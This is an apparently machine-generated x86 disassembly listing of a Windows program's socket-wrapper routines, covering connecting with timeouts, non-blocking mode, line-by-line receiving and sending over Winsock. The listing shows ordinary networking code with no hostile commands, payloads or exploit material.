		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		call	near ptr 71AB94DCh
		nop
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		nop
		call	near ptr 77C47A90h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		call	near ptr 71AB4519h
		nop
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 27E0CD4h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
		jnz	short loc_41B64E
		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
